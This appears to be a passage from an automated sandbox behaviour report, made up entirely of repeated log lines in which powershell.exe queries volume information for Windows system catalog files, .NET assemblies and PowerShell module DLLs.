Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
